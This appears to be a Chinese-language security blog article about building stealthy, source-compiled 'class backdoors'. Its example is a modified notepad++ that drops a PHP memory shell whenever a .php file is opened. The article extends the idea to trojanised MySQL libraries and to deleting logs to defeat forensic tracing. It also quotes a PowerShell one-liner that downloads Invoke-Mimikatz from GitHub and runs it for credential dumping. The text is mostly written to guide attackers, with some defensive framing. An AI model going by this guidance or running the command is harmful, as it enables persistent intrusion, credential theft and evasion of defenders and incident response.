这次继续围绕第一篇《第一季从攻击者角度来对抗》做整理与补充。在深入一步细化 demo notepad++。
后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。这样的后门才能更隐蔽,更长久。
而对于防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证。.
所以说后门的安装与反安装是一场考试,一场实战考试。
这里要引用几个概念,只有概念清晰,才能把后门加入概念化,使其更隐蔽。
增加对方的时间成本,人力成本,资源成本(不限制于服务器资源),金钱成本。
盈利,最小投入,最大产出。
能适应大部分客户,适应市场化,并且适应大部分机器。(包括不限制于资源紧张,宽带不足等问题的客户)
赚钱,养家。买房,还房贷。导致,快速解决客户问题(无论暂时还是永久性解决),以免投诉。
对接客户也是某公司内安全工作的一员,与概念 4 相同。
清晰了以上 5 个概念,作为攻击者,要首先考虑到对抗成本,什么样的对抗成本,能满足概念 1-5。影响或阻碍对手方的核心利益。把概念加入到后门,更隐蔽,更长久。
文章的标题既然为 《php 安全新闻早八点》,那么文章的本质只做技术研究,Demo 本身不具备攻击或者持续控制权限功能。
Demo 第二代:
Demo 环境:
windows 7 x64,notepad++(x64)
Demo IDE:
vs2017
在源码中,我们依然修改每次打开以 php 结尾的文件,先触发后门,在打开文件。其他文件跳过触发后门。
但是这次代码中加入了生成 micropoor.txt
功能。并且使用 php 来加载运行它,是的,生成一个 txt。
demo 中,为了更好的演示,取消自动 php 加载运行该 txt。
而 txt 的内容如图所示,并且为了更好的了解,开启文件监控。
使用 notepad++(demo2).exe
打开以 php 结尾的 demo.php
,来触发 microdoor,并且生成了 micropoor.txt
而 micropoor.txt
内容:
配合 micropoor.txt 的内容,这次的 Demo 将会变得更有趣。
那么这次 demo 做到了,无服务,无进程,无端口,无自启。
根据上面的 5 条概念,加入到了 demo 中,增加对手成本,使其更隐蔽。
如果 demo 不是 notepad++,而是 mysql 呢?
用它的端口,它的进程,它的服务,它的一切,来重新编译 microdoor。
例如:重新编译mysql.so,mysql.dll,替换目标主机。
无文件,无进程,无端口,无服务,无语言码。因为一切附属于它。
这应该是一个攻击者值得思考的问题。
正如第一季所说:在后门的进化中,rootkit也发生了变化,最大的改变是它的系统层次结构发生了变化。
那么这个 demo 离可高级可持续性渗透后门还有一段距离,这里引入第六条 “线索排查” 与 “反线索排查”,在之前的 demo 中,它生成了一个名为 micropoor.txt
的文件,如果经验丰富的安全人员可根据时间差来排查日记,demo 的工作流程大致是这样的,打开 notepad++,生成micropoor.txt
,写入内容,关闭文件流。根据线索排查,定位到 notepad++,导致权限失控。
在线索排查概念中,这里要引入“ABC”类线索关联排查,当防御者在得到线索A,顺藤到B,最后排查到目标文件 C,根据五条中的第一条,demo 要考虑如何删除指定日志内容,以及其他操作。来阻止 ABC 类线索关联排查。
不要思维固死在这是一个 notepad++ 后门的文章,它是一个面向类后门,面向的是可掌握源码编译的类后门。同样不要把思维固定死在 demo 中的例子,针对不同版本的 NT 系统,完全引用
powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');Invoke-Mimikatz
而关于 bypass UAC,已经有成熟的源码。或发送至远程或是写在本地的图片里,不要让知识,限制了后门的想象。
这也正是之前所说的:一个优秀的 Microdoor 是量身目标制定且一般不具备通用性的。是的,一般不具备通用性。
观看目前文章的一共有 2 类人,一类攻击方,一类防守方。
假设一个场景,现在摆在你面前有一台笔记本,并且这台笔记本有明确的后门,你的任务,排查后门。我想所有人都会排查注册表,服务,端口,进程等。因为这些具备通用性,也同样具备通用性排查手段。
临近文章结尾,第三次引用:在后门的进化对抗中,rootkit 也发生了变化,最大的改变是它的系统层次结构发生了变化。
如果彻底理解了这段话。那么就要引用王健 X 爸爸的一句话:先定个小目标,控它个 1825 天。
奈何厂商不重视后渗透攻击与持久性攻击,文章的结尾引用马 X 爸爸的一句话:
厂商不改变,我们就改变厂商。
这里的内容作为一个过渡,过渡后门在对抗升级中由传统后门,衍生成锁定目标的制定后门。引用百度百科的“后门程序"的相关解释:
安全从业人员,其实至少一直在与传统后门对抗,比如最常见的 webshell 免杀与 webshell 过 waf。
应急中的样本取证查杀远控残留文件等。但是 webshell,远控仅仅又是 “backdoor” 的其中一种。
这里按照之前的风格继续引用几个概念,只有概念清晰,才能了解如何对抗。
防御是以市场为核心的,而不是以项目为核心。需要对抗的可能是黑产从业者的流量劫持相关后门,或者是政治黑客的高持续渗透权限把控后门等。
随着对抗传统后门的产品越来越成熟,由特征查杀,到行为查杀,到态势感知。到大数据联合特征溯源锁定,如何反追踪,是一个非常值得思考的问题。
某项目,被入侵,应急并加固解决,若干天后,再次被入侵依然篡改为某博彩。导致安全从业人员,客户之间的问题。
某客户购买某安全产品套装,在实战中,一般由非重点关注服务器迂回渗透到核心服务器来跨过安全产品监控,得到相关权限后,后门起到越过安全产品。它会涉及对其他附属安全产品的影响。如客户质疑:为什么我都买了你们的套装,还被入侵。并且这还是第二次了。
思维跳出以上 4 条,来看下进一年的部分相关安全事件:
1、潜伏性:这些新型的攻击和威胁可能在用户环境中存在一年以上或更久,他们不断收集各种信息,直到收集到重要情报。而这些发动APT攻击的黑客目的往往不是为了在短时间内获利,而是把“被控主机”当成跳板,持续搜索,直到能彻底掌握所针对的目标人、事、物,所以这种APT攻击模式, 实质上是一种“恶意商业间谍威胁”。
2、持续性:由于 APT 攻击具有持续性甚至长达数年的特征,这让企业的管理人员无从察觉。在此期间,这种“持续性”体现在攻击者不断尝试的各种攻击手段,以及渗透到网络内部后长期蛰伏。
3、锁定特定目标:针对特定政府或企业,长期进行有计划性、组织性的窃取情报行为,针对被锁定对象寄送几可乱真的社交工程恶意邮件,如冒充客户的来信,取得在计算机植入恶意软件的第一个机会。
4、安装远程控制工具:攻击者建立一个类似僵尸网络 Botnet 的远程控制架构,攻击者会定期传送有潜在价值文件的副本给命令和控制服务器 (C&C Server) 审查。将过滤后的敏感机密数据,利用加密的方式外传。
窃取数据下载到本地,或者以此次渗透来达到变现目的。
引用如图:
一次具有针对性的渗透,绝对不单单是以渗透 DMZ 区为主,重要资料一般在内网服务器区(包括但不限制于数据库服务器,文件服务器,OA 服务器),与内网办公区(包括但不限制于个人机,开发机,财务区)等。而往往这样的高级持续渗透,不能是一气呵成,需要一定时间内,来渗透到资料所在区域。而这里其中一个重要的环节就是对后门的要求 ,在渗透期间内(包括但不限制于一周到月甚至到年)以保持后续渗透。
传统型的后门不在满足攻击者的需求,而传统型的木马后门,大致可分为六代:
第一代 是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本的功能。
第二代 在技术上有了很大的进步,冰河是中国木马的典型代表之一。
第三代 主要改进在数据传递技术方面,出现了 ICMP 等类型的木马,利用畸形报文传递数据,增加了杀毒软件查杀识别的难度。
第四代 在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入 DLL 线程。或者挂接 PSAPI,实现木马程序的隐藏,甚至在 Windows NT/2000 下,都达到了良好的隐藏效果。灰鸽子和蜜蜂大盗是比较出名的 DLL 木马。
第五代 驱动级木马。驱动级木马多数都使用了大量的 Rootkit 技术来达到在深度隐藏的效果,并深入到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统 SSDT 初始化,导致杀毒防火墙失去效应。有的驱动级木马可驻留 BIOS,并且很难查杀。
第六代 随着身份认证 UsbKey 和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。PassCopy 和暗黑蜘蛛侠是这类木马的代表。
以远控举例,远控最开始生成的 RAT 功能一体化(包括但不限制于文件传输,命令执行等),后衍生成生成 RAT 支持插件式来达到最终目的。
以上的几代包括以上远控共同点,以独立服务或者独立进程,独立端口等来到达目的。难以对抗目前的反病毒反后门程序。
那么传统型后门权限维持就不能满足目前的需求。
以 Demo 第二代举例,它无自己的进程,端口,服务,而是借助 notepad++(非 dll 劫持)来生成 php 内存 shell(这个过程相当于插件生成),并且无自启,当服务器重启后,继续等待管理员使用 notepad++,它属于一个 AB 链后门,由 A-notepad 生成 B-shell,以 B-shell 去完成其他工作。如果继续改进 Demo,改造 ABC 链后门,A 负责生成,B 负责清理痕迹,C 负责工作呢? 这是一个攻击者应该思考的问题。
而后门的主要工作有 2 点:
1、越过安全产品。
2、维持持续渗透权限。
文章的结尾,这不是一个 notepad++ 的后门介绍,它是一个 demo,一个类后门,一个具有源码可控类的后门。
本文作者:micropoor
作者博客:https://micropoor.blogspot.hk/
文章出处: 信安之路